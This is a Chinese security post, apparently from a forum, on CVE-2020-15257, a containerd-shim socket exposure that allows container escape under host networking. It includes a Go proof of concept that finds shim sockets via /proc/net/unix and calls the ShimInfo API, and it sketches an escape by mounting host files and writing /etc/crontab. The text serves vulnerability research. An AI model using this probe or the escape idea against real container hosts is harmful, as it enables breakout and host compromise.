CVE-2020-15257

漏洞原理、基础知识请阅读以下链接,不再展开:

或者中文的:

简要来说,containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作为abstract unix socket暴露,在docker使用net=host参数启动、与宿主机共享net namespace时,其中的unix socket可以被容器内部访问到,容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像,并通过该镜像逃逸。

POC

这个漏洞POC比较简单,只要探测到docker内部有containerd-shim启动的unix socket即可确认。

package main

import (
    "context"
    "errors"
    "io/ioutil"
    "log"
    "net"
    "regexp"
    "strings"

    "github.com/containerd/ttrpc"
    "github.com/gogo/protobuf/types"
)

func exp(sock string) bool {
    sock = strings.Replace(sock, "@", "", -1)
    conn, err := net.Dial("unix", "\x00"+sock)
    if err != nil {
        log.Println(err)
        return false
    }

    client := ttrpc.NewClient(conn)
    shimClient := NewShimClient(client)
    ctx := context.Background()
    info, err := shimClient.ShimInfo(ctx, &types.Empty{})
    if err != nil {
        log.Println("rpc error:", err)
        return false
    }

    log.Println("shim pid:", info.ShimPid)
    return true
}

func getShimSockets() ([][]byte, error) {
    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
    if err != nil {
        return nil, err
    }
    data, err := ioutil.ReadFile("/proc/net/unix")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return nil, errors.New("Cannot find vulnerable socket")
    }
    return matches, nil
}

func main() {
    matchset := make(map[string]bool)
    socks, err := getShimSockets()
    if err != nil {
        log.Fatalln(err)
    }
    for _, b := range socks {
        sockname := string(b)
        if _, ok := matchset[sockname]; ok {
            continue
        }
        log.Println("try socket:", sockname)
        matchset[sockname] = true
        if exp(sockname) {
            break
        }
    }

    return
}

这里通过docker内部/proc/net/unix中匹配固定socket即可判断是否存在漏洞,进一步可以创建shim cliet通过grpc(ttrpc)协议调用API,这里调用shimClient.ShimInfo作为POC是因为这个接口简单,不需要传参,可以通过返回值进一步确认该socket可用。

这个漏洞原理简单、poc简单、难点在于利用,exp要对docker启动的内部过程非常了解,并模拟出全部docker启动所必须的参数,在其中构造逃逸点。

截止本篇完稿,目前未见公开的exp代码。

已有的Exp思路

漏洞发现者指出通过启动新镜像mount宿主机文件,再写宿主机文件如/etc/crontab完成逃逸,这里问题有:

  1. config.json生成的时候需要传参,rootfs和mount的id字段需要动态指定,而且rootfs需要一个本地的文件支撑,在容器内部模拟这个环境略显复杂。
点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖